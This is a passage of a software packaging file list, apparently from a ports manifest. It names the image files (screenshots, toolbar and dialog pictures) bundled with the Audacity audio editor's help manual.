-%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/spectrogramview_02d.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/timetrackexample.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/warning_save_project_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/13/01_cut_paste_make_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/13/editselectsynclockafter.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/13/multi_tool_envelope_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/13/noise_gate_levels.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/13/nyquist_plug_in_installer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/13/selection_toolbar_samples_and_length.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/14/export_flac_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/14/multi_view_selected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/14/transtool.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/15/adjustable_fade_out_to_30_percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/15/ex1b_long_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/15/set_preference.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/15/spectral_delete_selection_with_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/16/ex2b_aftercutandmove.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/16/exportaudiounitpresetsdialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/16/multi_view_mono_spectral_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/16/set_envelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/16/timer_record_progress_stop_confirm_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/16/tool_edit_silence.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/17/chirp_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/17/preferences_recording.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/17/risset_drum_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/17/scrubbing_in_the_scrub_ruler.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/17/zoom7.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/18/03_cut_paste_paste_into_a_longer_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/18/select_time.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/18/timer_record_waiting_cancel_shutdown_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/18/transport_cursor_tomenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/19/deviceplaybackwin7alone.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/19/screenshot_tool.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1a/2kh_high_pass.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1a/device_toolbar_with_usb_recording.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1a/selecting_audio_04.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1a/unpinned_playhead_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1b/amplify_normalize_with_dc_offset.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1b/envelopepointer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1b/pavucontrol_capturemonitor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1b/point_label_and_very_short_region_label_visual_difference_with_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1d/linear_fade_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1d/notetrackdropdownmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1d/removing_labels_without_moving_back_any_following_labels_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1d/transport_playingmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1e/audiouniteffectsettings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1e/warning_dialog_pasting_one_type_of_track_into_another_is_not_allowed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1f/duplicate_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1f/ibeam.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1f/openingdocswin.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1f/preferences_spectrograms.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1f/trackexampledb.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/1f/vertical_zoom_x3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/20/macrospalette.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/21/aligntogether_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/21/envelope0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/21/nolatency202mac_206_snapto.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/22/appended_recording_with_split_line_red_pinned_indicator.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/22/importaudiounitpresetsdialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/22/punch_in_tracks001.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/22/silencefinder01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/clicky_example_waveform_view_click_repaired_for_test.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/export_audio_progress_dialog_partial_completion.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/noise_gate_nyquist_error_selection_too_long.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/preferences_mouse.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/removing_labels_together_with_their_associated_audio_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/scrub_bar_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/spectraleditparametric2000hz_20.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/theme_classic_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/24/theme_dark_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/25/compressor_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/25/envelope6.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/25/latencycorrection_220_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/25/spectralselectiontoolbarcentrewidth.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/25/sync_locked_track_groups_example.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/25/tool_select.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/26/editmenulabeledaudio_copy_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/26/mixer_board_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/26/preferences_interface.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/26/resizer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/26/windows_sound_recording_advanced_75percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/27/annotated_device_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/27/exportmultipleexample03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/27/mixer_toolbar_101.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/27/normalize_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/27/play_at_speedtoolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/28/extra_selectionmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/extra_mixermenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/loudness_gating.svg.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/move_cursor_to_track_start_end_pre.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/reverb_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/timer_record_needs_a_clean_project_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/usb_plug.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/29/windows_settings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2a/label_between_sounds_leading_trailing.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2b/loopback_pluggedin.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2b/mixertoolbarwithoutinputselect.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2b/moveselectionwithtracks_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2b/pasteintoclip_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2b/windows_microphone_management_dialog_60percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2c/annotated_transport_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2c/editmenuremovespecial_trim_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2c/time_toolbar_context_menu_default_setting.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2c/track_control_panel_and_vertical_scale_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2c/truncate_silence_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2d/duplicate_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2e/adjustable_fade_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2e/select_regionmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2e/track_dropdown.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2f/250hz_low_pass.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2f/export_multiple_results_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2f/glitch_repair_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2f/magnifypointer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2f/select_tracks.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/2/2f/view_zoommenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/30/editmenuremovespecial_splitdelete_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/30/generate_menu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/30/labels_editor_dialog_3_0_0_frequency_selected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/30/limiter_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/31/audio_settings_stereo_mix.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/31/labels_editor_dialog_3_0_0_time_selected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/31/notetrackchanneltoggle.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/31/playbacklooping2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/32/crc.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/32/exportmultipleexample05a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/32/presets_settings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/32/seek_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/33/spectraledit_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/33/trackpanelsynclockicon.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/33/tracks_mixmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/keyboardprefs_plus.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/loudness_normalization_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/removing_labels_without_moving_back_any_following_labels_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/snapguidedrag.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/spectrogramview_02b.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/spectrum_with_whistle_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/34/time_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/35/audio_before_zero.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/35/spectrogramview_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/35/view_show_clipping.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/36/pointmoveafter_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/36/preferences_modules.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/36/spectraledit_06.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/37/sltg_edits_10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/37/sltg_edits_9.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/37/w10_windows_settings_60percent_cropped.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/38/manage_button_icon_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/38/selectmenuclipboundaries_cursortonext_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/38/timer_toolbar_in_the_upper_tooldock.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/38/tracks_sort_tracksmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/38/vertical_scale_with_magnifier.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/39/preferences_midi_devices.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/39/removing_labels_moving_back_any_following_labels_before2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/39/x2ushureoverdub_phones_mic.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3a/spectrogramview_08.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3b/envelope2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3b/export_mp2_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3b/export_ogg_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3b/labeltrack6.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3b/share_audio_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3c/punch_in_tracks002.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3c/silence_finder.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3d/erremptyproject.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3d/invert.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3d/soundcardcolors.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3e/move_cursor_to_track_end_post.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3e/noise_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3e/transport_loopingmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3e/unsuitable_fat_drive_for_wav_or_aiffexport.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3f/ex1b_short_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3f/note_track_vscale_with_magnifier.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/3/3f/spectral_edit_shelves_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/40/editmenuremovespecial_silence_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/40/label_menu_delete_deleted_label.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/40/preferences_libraries_ffmpeg_not_found_mac_lame_built_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/40/raised_cosine_fade.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/40/viewmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/41/02_cut_paste_paste_into_point_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/41/extra_cursormenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/41/labeltrack7.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/41/pasteinwhitespace_cannotmove_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/42/exportmultipleexample04.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/42/help_diagnosticsmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/42/karaoke001.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/compare_audio.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/label_right_click_dropdown_context_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/labeltrack2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/latencycorrection_220_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/playcutpreview6.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/rhythm_track_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/scrub_icon_naked_80.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/43/uca202headphonefoldbacksmaller.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/change_speed_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/clicky_example_waveform_view_clicks_deleted.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/ex1c_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/find_clipping_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/recordingmetertoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/reference_index.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/regionmoveafter_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/save_preset_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/44/vocal_reduction_and_isolation_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/change_pitch_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/editselectalltracksafter.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/ex1c_after_nomove.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/mixerconnection.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/preferences_quality.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/stereomini_rca.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/45/xfade_example_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/46/collapse_select_buttons.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/46/selected_audio_for_tour_guide.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/46/snapguides.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/46/status_bar_disk_space_remaining_for_recording_big_timer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/47/audio_track_waveform_dropdown_menu_2_4_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/47/pause.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/47/spectrogramview_06.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/47/track_audio_before_zero.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/pasteinwhitespace_canmove_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/pulse_device_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/selecting_a_lof_file_for_import.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/timer_record_completion_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/tracks_mute_unmutemenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/tutorial3linedup.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/48/waveform_colorway_3_1_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/49/extra_devicemenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/49/floating_toolbars_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/49/glitch_repair_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/49/spectrogramview_11.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/49/uca202tolaptop.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4a/sltg_clip_handle_move.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4a/timer_record_progress_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4a/zoomfit.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4b/playcutpreview7.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4b/set_track_status.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4b/warning_save_changes_empty.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4b/waveformclippingabstract.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4c/adjustable_fade_with_presets_dropdown_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4c/select_frequencies.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4d/clicky_example_waveform_view.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4d/k_weighting.svg.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4d/punch_and_roll_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4d/selectmenuclipboundaries_next_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4d/waveform_clipping.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4e/low_pass_filter_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4e/move_to_gap.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4e/regionadjustbefore_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4e/spectrogramview_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4e/trackclose.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4f/a_spectral_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4f/low_disk_space_on_startup.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4f/playbackmetertoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4f/transporttoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/4/4f/warning_dialog_copying_stereo_audio_into_a_mono_track_is_not_allowed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/50/edit_labels_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/50/filemenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/50/half_wave_display_when_collapsed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/50/peaveyuca202lenovo.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/50/pinned_head_playback_annotated_trackname.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/51/dropouts_detected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/51/preferences_keyboard.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/51/spectral_03b.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/52/editmenulabeledaudio_join_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/52/select_clip_boundariesmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/52/unsuitable_fat_drive_for_temp_files.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/53/front_page_3_2_0.png_numbered_reduced_78percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/53/label_context_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/53/note_track_with_velocity_slider.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/53/time_track_example.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/54/compressor_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/54/malformed_mp3_error_message.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/54/managemacros.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/54/scrubbing_using_the_menu_command_and_no_scrub_ruler.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/54/suregtrack.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/55/labeltrackannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/55/play_cut_preview.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/55/stereo_track_example.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/56/note_track_dropdown.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/56/paulstretch_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/56/stereo_tracks.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/56/unpinned_head_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/57/import2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/57/logarithmic_fade_out.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/57/note_track_vscale_context_menu_2.3.2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/57/sound_finder.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/57/splitafter.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/57/status_bar_disc_space_remaining.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/58/multi_view_stereo_default_50_50.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/58/splitting_and_joining_stereo_tracks_04.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/59/spectraledit_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/59/toolstoolbarmulti.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5b/selectmenuclipboundaries_next_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5b/update_checking_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5c/open_project2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5c/zoom0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5d/audio_settings_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5d/devicetoolbarwin10basic.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5d/trackcollapse.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5e/ex1a_afterwithclips_noscroll.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5e/spectrogramview_edit.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5e/splitbefore.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5f/mic.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5f/recording_meter_dropdown_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5f/recording_on_a_new_track.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/5/5f/transport_transport_optionsmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/60/multi.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/60/region_and_point_labels.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/61/editmenuremovespecial_initialselection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/61/set_track_visuals.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/61/spectral_03a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/61/tcp_and_vs_mono_track_track_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/62/fade_in_start.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/62/postjoinstereosmall.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/63/bigpointercursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/63/editmenulabeledaudio_cut_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/63/share_audio_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/63/snapping_to_a_point_label.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/63/tcp_and_vs_label_track_track_with_select_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/63/timeline_default_scale.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/64/usb_jacks.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/65/a_small_spectral_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/65/editmenulabels_addlabel_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/65/recordingmeterinactionclippingannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/66/clicky_example_waveform_view_discontinuity_repaired.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/66/extra_play_at_speedmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/66/nyquist_plugin_installer_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/66/removing_labels_moving_back_any_following_labels_selection2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/66/track_pan_slider.png 